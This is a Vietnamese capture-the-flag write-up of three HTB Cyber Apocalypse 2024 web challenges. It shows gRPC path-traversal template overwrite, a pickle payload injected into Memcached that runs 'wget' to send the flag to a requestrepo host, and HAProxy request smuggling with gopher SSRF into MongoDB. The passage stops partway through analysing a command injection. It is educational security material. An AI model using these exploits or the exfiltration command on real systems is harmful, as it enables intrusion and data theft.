<p>gRPC là một framework mã nguồn mở được Google phát triển, được sử dụng để tạo ra các dịch vụ RPC (Remote Procedure Call) hiệu suất cao, có khả năng đa ngôn ngữ và có khả năng mở rộng. gRPC sử dụng Protocol Buffers (protobuf) làm công cụ mô tả giao diện dịch vụ và định dạng dữ liệu. Nó cho phép tạo ra các dịch vụ và clients ở nhiều ngôn ngữ khác nhau, với khả năng tạo mã tự động từ mô tả giao diện. Các dịch vụ gRPC có thể sử dụng HTTP/2 để tận dụng các tính năng như multiplexing, độ trễ thấp, và giao thức mã hóa.</p>
<p>Như đã nói ở trên việc filter chỉ diễn ra trên đoạn xử lý với client, tuy nhiên server lại cung cấp cho ta hai server và một trong số đó là gRPC vậy điều gì xảy ra khi chúng ta sử dụng server thứ hai này để ghi đè file inject SSTI để RCE. Lúc này việc lọc tên file hay <code>..</code> cũng sẽ không xảy ra vì lúc này ta chỉ tương tác với gRPC.</p>
</blockquote>
<p><strong>gRPC command line tool</strong></p>
<p>Sau khi googling mình tìm được repo này khá thú vị.</p>
<p>Sử dụng nó chúng ta có thể liệt kê các services bằng cách specifying the proto file</p>
<pre><code class="lang-nginx">./<span class="hljs-attribute">grpcurl</span> -import-path ../challenge/pb/ -proto ptypes.proto <span class="hljs-number">94.237.53.3:49854</span> list

RickyService
</code></pre>
<p>Tiếp tục , describe the service</p>
<pre><code class="lang-nginx">./<span class="hljs-attribute">grpcurl</span> -import-path ../challenge/pb/ -proto ptypes.proto <span class="hljs-number">94.237.53.3:49854</span> describe RickyService

RickyService is a service:
service RickyService {
  <span class="hljs-attribute">rpc</span> SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}
</code></pre>
<p>Tuy nhiên, sau khi mình thử invoke RPC thì <code>server does not support the reflection API</code></p>
<pre><code class="lang-nginx">./<span class="hljs-attribute">grpcurl</span> -plaintext <span class="hljs-number">94.237.53.3:49854</span> RickyService.TestimonialSubmission

Error invoking method <span class="hljs-string">"RickyService.TestimonialSubmission"</span>: failed to query for service descriptor <span class="hljs-string">"RickyService"</span>: server does not support the reflection API
</code></pre>
<p>Tiếp tục tìm kiếm thì mình đọc được docs như sau:</p>
<pre><code class="lang-plaintext">To use grpcurl on servers that do not support reflection, you can use .proto source files.
In addition to using -proto flags to point grpcurl at the relevant proto source file(s), you may also need to supply -import-path flags to tell grpcurl the folders from which dependencies can be imported.
</code></pre>
<pre><code class="lang-plaintext">./grpcurl -plaintext -d '{"customer": "test", "testimonial": "test"}' -import-path challenge/pb/ -proto ptypes.proto 94.237.53.3:49854 RickyService.SubmitTestimonial

{
  "message": "Testimonial submitted successfully"
}
</code></pre>
<p>Yeah chúng ta đã thành công ghi được file lên gRPC thông qua grpcurl Như mình đã nói ở trên việc sử dụng gRPC để ghi file thì có thể chúng ta sẽ không bị filter lọc, lúc này việc path traversal để ghi đè file lại trở nên dễ dàng. Mình dựng lại challenge ở local và test xem liệu suy đoán của mình có đúng không.</p>
<pre><code class="lang-plaintext">./grpcurl -plaintext -d '{"customer": "../../../../haha.txt", "testimonial": "no for test"}' -import-path challenge/pb/ -proto ptypes.proto 127.0.0.1:50045 RickyService.SubmitTestimonial

{
  "message": "Testimonial submitted successfully"
}
</code></pre>
<pre><code class="lang-nginx">$ <span class="hljs-attribute">docker</span> exec -it web_testimonial bash

<span class="hljs-regexp">~ #</span> ls /
bin                 flaga8f171e25e.txt  mnt                 sbin                usr
challenge           go                  opt                 srv                 var
dev                 home                proc                sys
entrypoint.sh       lib                 root                haha.txt
etc                 media               run                 tmp
</code></pre>
<p>Ghi file thành công, vậy điều gì nếu ta có thể ghi đè lại file <code>index.templ</code> do ta đã cấu hình lại với đoạn code nhằm trigger rce như sau:</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">package</span> home

import (
    <span class="hljs-string">"os/exec"</span>
    <span class="hljs-string">"strings"</span>
)

func hack() []string {
    output, <span class="hljs-attribute">_</span> := exec.Command(<span class="hljs-string">"ls"</span>, <span class="hljs-string">"/"</span>).CombinedOutput()
    lines := strings.Fields(string(output))
    return lines
}

templ Index() {
    @template(hack())
}

<span class="hljs-attribute">templ</span> template(items []string) {
    <span class="hljs-attribute">for</span> _, item := range items {
        {item}
    }
}
</code></pre>
<h3 id="heading-exploit-1">Exploit</h3>
<pre><code class="lang-nginx">./<span class="hljs-attribute">grpcurl</span> -plaintext -d <span class="hljs-string">'{"customer": "../../view/home/index.templ", "testimonial": "package home\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n)\n\nfunc hack() []string {\n\toutput, _ := exec.Command(\"cat\", \"/flagbba4cb647c.txt\").CombinedOutput()\n\tlines := strings.Fields(string(output))\n\treturn lines\n}\n\ntempl Index() {\n\t<span class="hljs-variable">@template</span>(hack())\n}\n\ntempl template(items []string) {\n\tfor _, item := range items {\n\t\t{item}\n\t}\n}" }'</span> -import-path challenge/pb/ -proto ptypes.proto <span class="hljs-number">94.237.53.3:49854</span> RickyService.SubmitTestimonial

{
  "message": "<span class="hljs-attribute">Testimonial</span> submitted successfully<span class="hljs-string">"
}</span>
</code></pre>
<h3 id="heading-flag-1">Flag</h3>
<p><code>HTB {w34kly_t35t3d_t3mplate5}</code></p>
<h2 id="heading-serialflow">SerialFlow</h2>
<p><strong><em>credit: hackerga2101</em></strong></p>
<h3 id="heading-about-vulnerebility">About vulnerebility</h3>
<ul>
<li><p>Memcache Remote Code Execution via SSRF by serialized data injection into Memcached</p>
</li>
<li><p>Documentation: <a target="_blank" href="https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/">https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/</a></p>
</li>
</ul>
<h3 id="heading-exploit-2">Exploit</h3>
<ul>
<li>Challenge có 2 routes: / and /set cho phép custom lại color của website</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2Fdba09231-07c6-49bf-b7ee-ab26ac2f0180%2FUntitled.png?table=block&amp;id=fc4c873d-3cf8-4c38-9f28-00fed2f2c0a0&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li>Và 2 handlers để xử lý errors và sessions trước mọi request</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F8907318f-4970-4268-b726-86405a0a7161%2FUntitled.png?table=block&amp;id=5abe7194-0004-4706-a0ff-9d65d043a607&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li>Mình nhận thấy 2 routes chính không có vuln nhưng server đang mở port 11211 cho memcached</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2Fdec248f7-62ab-430c-9b21-09ca3e93f40c%2FUntitled.png?table=block&amp;id=1737954a-9a7b-4d63-9b98-c02af2adff03&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li><p>Sau khi search về memcached mình phát hiện ra có vuln serialized data injection vào Memcached</p>
</li>
<li><p>Thông qua việc tạo session, ta có thể inject nó vào memcached (python pickle) để serialize data ta truyền vào</p>
</li>
<li><p>Mình tìm một bài viết khai thác khá giống với challenge hiện tại (nhưng không thành công khi inject vào param uicolor ở route/set)</p>
</li>
<li><p>Hold up, để ý session handler, ta cũng có thể tùy chỉnh session theo ý mình(và nó được tạo trước khi vào bất kỳ routes nào)</p>
</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F651fa6c7-1103-476f-b2c1-31e00ddcee67%2FUntitled.png?table=block&amp;id=c5dcfc14-1ed6-475c-8527-e03809cad198&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li><p>Ta có một inject point mới (đó là session cái sẽ được khởi tạo trước uicolor)</p>
</li>
<li><p>Follow bài viết mình có set và get format command của memcached</p>
</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F8f4c8782-eb7e-4aa1-8510-069bf8d5a7e8%2FUntitled.png?table=block&amp;id=e150172f-7d51-474a-9d32-c7b365b92da7&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li>Build local và bắt gói tin bằng wireshark, bạn sẽ thấy được giá trị của set command</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F69bfc038-3104-4dd0-baed-2220135d4b6f%2FUntitled.png?table=block&amp;id=be418a2f-5001-4895-bf7d-c1d400e35c6e&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li>Custom lại poc để exploit:</li>
</ul>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> pickle
<span class="hljs-keyword">import</span> os

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">RCE</span>:</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__reduce__</span>(<span class="hljs-params">self</span>):</span>
        cmd = (<span class="hljs-string">'wget http://y8gdi5i3.requestrepo.com/$(cat /f*)'</span>)
        <span class="hljs-keyword">return</span> os.system, (cmd,)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">generate_exploit</span>():</span>
    payload = pickle.dumps(RCE(), <span class="hljs-number">0</span>)
    payload_size = len(payload)
    cookie = <span class="hljs-string">b'\r\nset session:f0965c70-401b-4b6f-932c-b251165c1d5d 0 2592000 '</span>
    cookie += str.encode(str(payload_size))
    cookie += str.encode(<span class="hljs-string">'\r\n'</span>)
    cookie += payload
    cookie += str.encode(<span class="hljs-string">'\r\n'</span>)
    cookie += str.encode(<span class="hljs-string">'get session:f0965c70-401b-4b6f-932c-b251165c1d5d'</span>)
    pack = <span class="hljs-string">''</span>
    <span class="hljs-keyword">for</span> x <span class="hljs-keyword">in</span> list(cookie):
        <span class="hljs-keyword">if</span> x &gt; <span class="hljs-number">64</span>:
            pack += oct(x).replace(<span class="hljs-string">"0o"</span>,<span class="hljs-string">"\\"</span>)
        <span class="hljs-keyword">elif</span> x &lt; <span class="hljs-number">8</span>:
            pack += oct(x).replace(<span class="hljs-string">"0o"</span>,<span class="hljs-string">"\\00"</span>)
        <span class="hljs-keyword">else</span>:
            pack += oct(x).replace(<span class="hljs-string">"0o"</span>,<span class="hljs-string">"\\0"</span>)

    <span class="hljs-keyword">return</span> <span class="hljs-string">f"\"<span class="hljs-subst">{pack}</span>\""</span>
print(generate_exploit())
</code></pre>
<ul>
<li><p>Mình tạo pickle payload để execute os.system curl đến requestrepo với path là flag</p>
</li>
<li><p>Vì session bị limited 86 kí tự, nên mình giảm command xuống</p>
</li>
<li><p>Lưu ý rằng bạn cần build poc bằng linux hoặc ubuntu</p>
</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2Fa1ef85c2-6e73-4c57-b366-2da34fc4b29b%2FUntitled.png?table=block&amp;id=d85932c8-992f-41cc-9f3c-04d7c058b9be&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<ul>
<li><p>Sau khi gửi payload injection vào session, bạn cần gửi thêm 1 request bất kì đẩy payload inject vào memcached để serialize</p>
</li>
<li><p>Và thành công lấy flag</p>
</li>
</ul>
<p><img src="https://repeated-lan-fbe.notion.site/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Fb26fc89b-de43-4387-a99f-e46e7a9a14c9%2F15861cb7-ccc9-489f-9417-3e4ef66c5b4d%2FUntitled.png?table=block&amp;id=96e6a2eb-c441-477d-8b2c-6d247ebeea2f&amp;spaceId=b26fc89b-de43-4387-a99f-e46e7a9a14c9&amp;width=2000&amp;userId=&amp;cache=v2" alt /></p>
<h2 id="heading-percetron">Percetron</h2>
<p><strong><em>credit: chuong</em></strong></p>
<h3 id="heading-prefacehttpsbtlfrygitlabionotespostsmemcached-command-injections-at-pylibmc"><a target="_blank" href="https://btlfry.gitlab.io/notes/posts/memcached-command-injections-at-pylibmc/">Preface</a></h3>
<p>Bài này team mình không làm được mà <a target="_blank" href="https://hackmd.io/@kev1n">@<mark>kev1n </mark></a> "bắt" mình viết writeup lại nên mình đọc từ <a target="_blank" href="https://trixterthetux.notion.site/HTB-Cyber-Apocalypse-2024-web-Percetron-07e517143f9f4753941efc24b72640e1#c9a8b191d3af459d94ca25b0b3646c45">writeup này</a> của team <a target="_blank" href="https://ctf.mt/">Friendly Maltese Citizens</a> (Top 1 giải này)</p>
<p><img src="https://hackmd.io/_uploads/r1aH6NHRp.png" alt="image" /></p>
<h3 id="heading-overview">Overview</h3>
<p>Thông tin <code>Users</code> được lưu trữ trong <code>MongoDB</code>, sau khi register và login ta vào được trang chủ:</p>
<p><img src="https://hackmd.io/_uploads/SJdTHsEAT.png" alt="image" /></p>
<p>Web sẽ chứa thông tin về các <code>Certificate</code> và <code>Host</code> (với mối quan hệ <code>HAS_CERTIFICATE</code>) được xậy dựng dựa trên <code>Neo4j</code>:</p>
<p><img src="https://hackmd.io/_uploads/HyL-IjVC6.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SJjzUjN0p.png" alt="image" /></p>
<p>Đi vào source code: <code>routes/generic.js</code> chứ 2 endpoints đều nhận vào param <code>url</code>:</p>
<ul>
<li><code>/healthcheck</code>: tạo ra request GET tới <code>url</code>, tuy nhiên đã bị filter:</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-built_in">exports</span>.check = <span class="hljs-function">(<span class="hljs-params">url</span>) =&gt;</span> {
    <span class="hljs-keyword">const</span> parsed = <span class="hljs-keyword">new</span> URL(url);

    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">isNaN</span>(<span class="hljs-built_in">parseInt</span>(parsed.port))) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-keyword">if</span> (parsed.port == <span class="hljs-string">"1337"</span> || parsed.port == <span class="hljs-string">"3000"</span>) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-keyword">if</span> (parsed.pathname.toLowerCase().includes(<span class="hljs-string">"healthcheck"</span>)) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-keyword">const</span> bad = [<span class="hljs-string">"localhost"</span>, <span class="hljs-string">"127"</span>, <span class="hljs-string">"0177"</span>, <span class="hljs-string">"000"</span>, <span class="hljs-string">"0x7"</span>, <span class="hljs-string">"0x0"</span>, <span class="hljs-string">"@0"</span>, <span class="hljs-string">"[::]"</span>, <span class="hljs-string">"0:0:0"</span>, <span class="hljs-string">"①②⑦"</span>];
    <span class="hljs-keyword">if</span> (bad.some(<span class="hljs-function"><span class="hljs-params">w</span> =&gt;</span> parsed.hostname.toLowerCase().includes(w))) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }

    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<ul>
<li><code>/healthcheck-dev</code>: Thực hiện request HEAD tới url và trả về statusCode:</li>
</ul>
<pre><code class="lang-javascript"><span class="hljs-built_in">exports</span>.getUrlStatusCode = <span class="hljs-function">(<span class="hljs-params">url</span>) =&gt;</span> {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Promise</span>(<span class="hljs-function">(<span class="hljs-params">resolve, reject</span>) =&gt;</span> {
        <span class="hljs-keyword">const</span> curlArgs = [<span class="hljs-string">"-L"</span>, <span class="hljs-string">"-I"</span>, <span class="hljs-string">"-s"</span>, <span class="hljs-string">"-o"</span>, <span class="hljs-string">"/dev/null"</span>, <span class="hljs-string">"-w"</span>, <span class="hljs-string">"%{http_code}"</span>, url];
        execFile(<span class="hljs-string">"curl"</span>, curlArgs, <span class="hljs-function">(<span class="hljs-params">error, stdout, stderr</span>) =&gt;</span> {
            <span class="hljs-keyword">if</span> (error) {
                reject(error);
                <span class="hljs-keyword">return</span>;
            }

            <span class="hljs-keyword">const</span> statusCode = <span class="hljs-built_in">parseInt</span>(stdout, <span class="hljs-number">10</span>);
            <span class="hljs-built_in">console</span>.log(statusCode)
            resolve(statusCode);
        });
    });
}
</code></pre>
<p>Endpoint này đã chặn bởi HaProxy với option:</p>
<pre><code class="lang-plaintext">backend forward_default
http-request deny if { path -i -m beg /healthcheck-dev }
server s1 127.0.0.1:3000
</code></pre>
<p>Ngoài ra user có <code>permission</code> là <code>administrator</code> sẽ có thêm 2 chức năng tại <code>/panel/management/addcert</code> và <code>/panel/management/dl-certs</code> Flag được tạo random trên server =&gt; cần phải RCE</p>
<p><img src="https://hackmd.io/_uploads/r1jRno40a.png" alt="image" /></p>
<h3 id="heading-bypass-haproxy-via-http-request-smuggling">Bypass HAProxy via HTTP Request Smuggling</h3>
<p>Tại <code>/healthcheck</code> được filter khá chặt =&gt; khó bypass, nên ta có thể bypass proxy để từ <code>/healthcheck-dev</code></p>
<p><code>HaProxy</code> trong bài sử dụng version <code>2.3</code>, theo <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2023-25725">CVE-2023-25725</a>:</p>
<p><img src="https://hackmd.io/_uploads/ByIlynN0a.png" alt="image" /></p>
<blockquote>
<p><strong>HTTP Request Smuggling</strong> là một kỹ thuật tấn công mạng nhằm khai thác sự không nhất quán trong cách xử lý HTTP request giữa các server, thường là proxy với back-end. Mục tiêu của tấn công này là "lừa" server hoặc proxy gửi một HTTP request bị tấn công (smuggled request) đến server tiếp mà không được phát hiện hoặc xử lý đúng cách, cho phép attacker thực hiện các hành động độc hại.</p>
<p>Tham khảo thêm tại <a target="_blank" href="https://portswigger.net/web-security/request-smuggling">PortSwigger</a>.</p>
</blockquote>
<p>Như vậy trong header parser với HTTP/1 trên <code>HaProxy</code> chấp nhận việc sử dụng header trống, điều này có thể dẫn đến việc cắt bỏ một số header sau header rỗng, có nghĩa là nó không được xem xét hoặc xử lý như thể chúng không tồn tại.</p>
<p>Khai thác:</p>
<p><img src="https://hackmd.io/_uploads/B1F53QNRT.png" alt="image" /></p>
<p>Kết quả:</p>
<p><img src="https://hackmd.io/_uploads/r1gAiQERT.png" alt="image" /></p>
<p>Như vậy là đã bypass được proxy để có thể có thể thiết lập cuộc tấn công SSRF.</p>
<h3 id="heading-gopher-ssrf">Gopher SSRF</h3>
<p><code>Gopher</code> là một giao thức truyền tải tài liệu dựa trên HTTP và được thiết kế để cung cấp truy cập dễ dàng đến các tài nguyên trên Internet. Nó cho phép gửi các TCP request tùy ý với syntax: <code>gopher://[ip]:[port]/_[url encoded payload]</code>. Việc <code>mongodb</code> không sử dụng credentials để tương tác với database, ta có có thể lợi dụng gopher để thao tác với database.</p>
<p><img src="https://hackmd.io/_uploads/HkzvJEVCT.png" alt="image" /></p>
<p>Format của document:</p>
<pre><code class="lang-plaintext">{ "_id" : ObjectId("65f79d9bb32c0e04c4ac2c21"), "username" : "a", "password" : "$2a$10$HcA4GJoPIT.zWGNT7/IElOi4C5pWyBVGBQ78xRI.gBWOU/6eRLoE2", "permission" : "user", "__v" : 0 }
</code></pre>
<p>Trong MongoDB hay một số NoSQL khác, dữ liệu được truyền giữa client và server thông qua giao thức TCP/IP, dữ liệu được mã hóa và giải mã thành định dạng BSON. Server MongoDB nhận được gói tin, giải mã dữ liệu BSON và xử lý truy vấn. Tóm lại script tạo user <code>b:b</code> có <code>permission</code> là <code>administrator</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> BSON = <span class="hljs-built_in">require</span>(<span class="hljs-string">"bson"</span>);
<span class="hljs-keyword">const</span> bcrypt = <span class="hljs-built_in">require</span>(<span class="hljs-string">"bcryptjs"</span>);

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bufferToURLEncoded</span>(<span class="hljs-params">buffer</span>) </span>{
    <span class="hljs-keyword">return</span> buffer.toString(<span class="hljs-string">'hex'</span>).toUpperCase().replace(<span class="hljs-regexp">/../g</span>, <span class="hljs-string">'%$&amp;'</span>);
}

(<span class="hljs-keyword">async</span> () =&gt; {
    <span class="hljs-keyword">const</span> doc = {
        <span class="hljs-attr">insert</span>: <span class="hljs-string">'users'</span>,
        <span class="hljs-attr">documents</span>: [
            {
                <span class="hljs-attr">_id</span>: <span class="hljs-keyword">new</span> BSON.ObjectId(),
                <span class="hljs-attr">username</span>: <span class="hljs-string">'b'</span>,
                <span class="hljs-attr">password</span>: <span class="hljs-keyword">await</span> bcrypt.hash(<span class="hljs-string">'b'</span>, <span class="hljs-number">10</span>),
                <span class="hljs-attr">permission</span>: <span class="hljs-string">'administrator'</span>,
            }
        ],
        <span class="hljs-attr">ordered</span>: <span class="hljs-literal">true</span>,
        <span class="hljs-string">'$db'</span>: <span class="hljs-string">'percetron'</span>,
    };
    <span class="hljs-keyword">const</span> data = BSON.serialize(doc);

    <span class="hljs-keyword">let</span> beginning = Buffer.from(
        <span class="hljs-string">"000000000000000000000000DD0700000000000000"</span>,
        <span class="hljs-string">"hex"</span>
    );
    <span class="hljs-keyword">let</span> payload = Buffer.concat([beginning, data]);
    payload.writeUInt32LE(payload.length, <span class="hljs-number">0</span>);

    <span class="hljs-built_in">console</span>.log(bufferToURLEncoded(payload));
})();
</code></pre>
<p>Tìm hiểu script rõ hơn trong bài ctf này: <a target="_blank" href="https://brycec.me/posts/starctf2021_writeups#oh-my-bet">https://brycec.me/posts/starctf2021_writeups#oh-my-bet</a></p>
<p>Payload được tạo:</p>
<p><img src="https://hackmd.io/_uploads/SJEyb4EAa.png" alt="image" /></p>
<p>Tìm hiểu về payload này tại <a target="_blank" href="https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/">MongoDB Wire Protocol</a></p>
<p>Gửi request:</p>
<p><img src="https://hackmd.io/_uploads/rkZmbVNCT.png" alt="image" /></p>
<p>Kết quả sẽ có user được thêm vào database:</p>
<p><img src="https://hackmd.io/_uploads/S1IVbV4R6.png" alt="image" /></p>
<p>Login:</p>
<p><img src="https://hackmd.io/_uploads/HkWubVNAa.png" alt="image" /></p>
<h3 id="heading-rce">RCE</h3>
<p>Sau khi vào <code>admin</code>, ta có thêm 2 chức năng</p>
<h4 id="heading-1-panelmanagementaddcert">1. <code>/panel/management/addcert</code></h4>
<p>Enpoint này để thêm cert:</p>
<pre><code class="lang-javascript">router.post(<span class="hljs-string">"/panel/management/addcert"</span>, adminMiddleware, <span class="hljs-keyword">async</span> (req, res) =&gt; {
    <span class="hljs-keyword">const</span> pem = req.body.pem;
    <span class="hljs-keyword">const</span> pubKey = req.body.pubKey;
    <span class="hljs-keyword">const</span> privKey = req.body.privKey;

    <span class="hljs-keyword">if</span> (!(pem &amp;&amp; pubKey &amp;&amp; privKey)) <span class="hljs-keyword">return</span> res.render(<span class="hljs-string">"error"</span>, {<span class="hljs-attr">message</span>: <span class="hljs-string">"Missing parameters"</span>});

    <span class="hljs-keyword">const</span> db = <span class="hljs-keyword">new</span> Neo4jConnection();
    <span class="hljs-keyword">const</span> certCreated = <span class="hljs-keyword">await</span> db.addCertificate({<span class="hljs-string">"cert"</span>: pem, <span class="hljs-string">"pubKey"</span>: pubKey, <span class="hljs-string">"privKey"</span>: privKey});

    <span class="hljs-built_in">console</span>.log(certCreated)
    <span class="hljs-keyword">if</span> (!certCreated) {
        <span class="hljs-keyword">return</span> res.render(<span class="hljs-string">"error"</span>, {<span class="hljs-attr">message</span>: <span class="hljs-string">"Could not add certificate"</span>});
    }

    res.redirect(<span class="hljs-string">"/panel/management"</span>);
});
</code></pre>
<p>Đi vào hàm <code>addCertificate</code> ta thấy được input này sẽ được parsed:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> certInfo = parseCert(cert.cert);
</code></pre>
<blockquote>
<p>Về x509.js có 2 hàm:</p>
<ul>
<li><p>Hàm <code>generateCert</code> nhận các thông tin về <code>domain</code>, <code>org</code>, <code>locality</code>, <code>state</code>, <code>country</code>. Nó sử dụng thư viện <code>node-forge</code> để tạo một cặp khóa RSA, sau đó tạo <strong>cert SSL</strong> dựa trên các thông tin đã cung cấp. Cuối cùng, nó trả về <strong>public key</strong>, <strong>private key</strong> và <strong>PEM</strong> (vì vậy ta dựa vào đây để xây dựng script tạo cert)</p>
</li>
<li><p>Hàm parseCert nhận <strong>PEM</strong> và parse nó qua thư viện <code>node-forge</code>.</p>
</li>
</ul>
</blockquote>
<p>Các thông tin lưu vào biến certInfo để đưa vào query Cypher sau:</p>
<pre><code class="lang-php">CREATE (:Certificate {
    common_name: <span class="hljs-string">'${certInfo.issuer.commonName}'</span>,
    file_name: <span class="hljs-string">'${certPath}'</span>,
    org_name: <span class="hljs-string">'${certInfo.issuer.organizationName}'</span>,
    locality_name: <span class="hljs-string">'${certInfo.issuer.localityName}'</span>,
    state_name: <span class="hljs-string">'${certInfo.issuer.stateOrProvinceName}'</span>,
    country_name: <span class="hljs-string">'${certInfo.issuer.countryName}'</span>
});
</code></pre>
<p>Sau đó query được thực thi:</p>
<pre><code class="lang-php">async runQuery(query, params = {}) {
    <span class="hljs-keyword">const</span> result = await this.session.run(query, params);
    <span class="hljs-keyword">return</span> result.records;
}
</code></pre>
<p>Như vậy việc truyền trực tiếp input và thực thi như thế này sẽ tiềm ẩn lỗ hổng Cypher Injection.</p>
<h4 id="heading-2-panelmanagementdl-certs">2. <code>/panel/management/dl-certs</code></h4>
<p>Chức năng này là zip các certs lại.</p>
<pre><code class="lang-javascript">router.get(<span class="hljs-string">"/panel/management/dl-certs"</span>, adminMiddleware, <span class="hljs-keyword">async</span> (req, res) =&gt; {
    <span class="hljs-keyword">const</span> db = <span class="hljs-keyword">new</span> Neo4jConnection();
    <span class="hljs-keyword">const</span> certificates = <span class="hljs-keyword">await</span> db.getAllCertificates();

    <span class="hljs-keyword">let</span> dirsArray = [];
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; certificates.length; i++) {
        <span class="hljs-keyword">const</span> cert = certificates[i];
        <span class="hljs-keyword">const</span> filename = cert.file_name;
        <span class="hljs-keyword">const</span> absolutePath = path.resolve(__dirname, filename);
        <span class="hljs-keyword">const</span> fileDirectory = path.dirname(absolutePath);
        dirsArray.push(fileDirectory);
    }

    dirsArray = [...new <span class="hljs-built_in">Set</span>(dirsArray)];
    <span class="hljs-keyword">const</span> zipArray = [];
    <span class="hljs-keyword">let</span> madeError = <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> i = <span class="hljs-number">0</span>; i &lt; dirsArray.length; i++) {
        <span class="hljs-keyword">if</span> (madeError) <span class="hljs-keyword">break</span>;

        <span class="hljs-keyword">const</span> dir = dirsArray[i];
        <span class="hljs-keyword">const</span> zipName = <span class="hljs-string">"/tmp/"</span> + randomHex(<span class="hljs-number">16</span>) + <span class="hljs-string">".zip"</span>;

        sevenzip.compress(<span class="hljs-string">"zip"</span>, {<span class="hljs-attr">dir</span>: dir, <span class="hljs-attr">destination</span>: zipName, <span class="hljs-attr">is64</span>: <span class="hljs-literal">true</span>}, <span class="hljs-function">() =&gt;</span> {}).catch(<span class="hljs-function">() =&gt;</span> {
            madeError = <span class="hljs-literal">true</span>;
        })

        zipArray.push(zipName);  
    }

    <span class="hljs-keyword">if</span> (madeError) {
        res.render(<span class="hljs-string">"error"</span>, {<span class="hljs-attr">message</span>: <span class="hljs-string">"Error compressing files"</span>});
    } <span class="hljs-keyword">else</span> {
        res.send(zipArray);
    }
});
</code></pre>
<p>Dòng code zip file:</p>
<pre><code class="lang-javascript">sevenzip.compress(<span class="hljs-string">"zip"</span>, {<span class="hljs-attr">dir</span>: dir, <span class="hljs-attr">destination</span>: zipName, <span class="hljs-attr">is64</span>: <span class="hljs-literal">true</span>}, <span class="hljs-function">() =&gt;</span> {}).catch(<span class="hljs-function">() =&gt;</span> {
    madeError = <span class="hljs-literal">true</span>;
})
</code></pre>
<p>Đi vào thư viện sevenzip:</p>
<p>Thư viện này sử dụng <code>child_process.execFile(file[, args][, options][, callback])</code> để thực thi command, đối với <code>compress</code>:</p>
<p><img src="https://hackmd.io/_uploads/SJJFgOm0p.png" alt="image" /></p>
<p>Việc có option <code>shell : true</code>, command sẽ được chỉ định thực thi dưới dạng shell, và trên Unix như bài này, shell mặc định là <code>/bin/sh</code>. Đi tiếp vào hàm <code>buildCommandArgs</code>:</p>
<p><img src="https://hackmd.io/_uploads/S1o2bdQAT.png" alt="image" /></p>
<p>Theo như code parameters được truyền vào là <code>{dir: dir, destination: zipName, is64: true}</code>, ta có thể kiểm soát được <code>dir</code>, từ đó thực hiện được command injection trong thư viện này.</p>
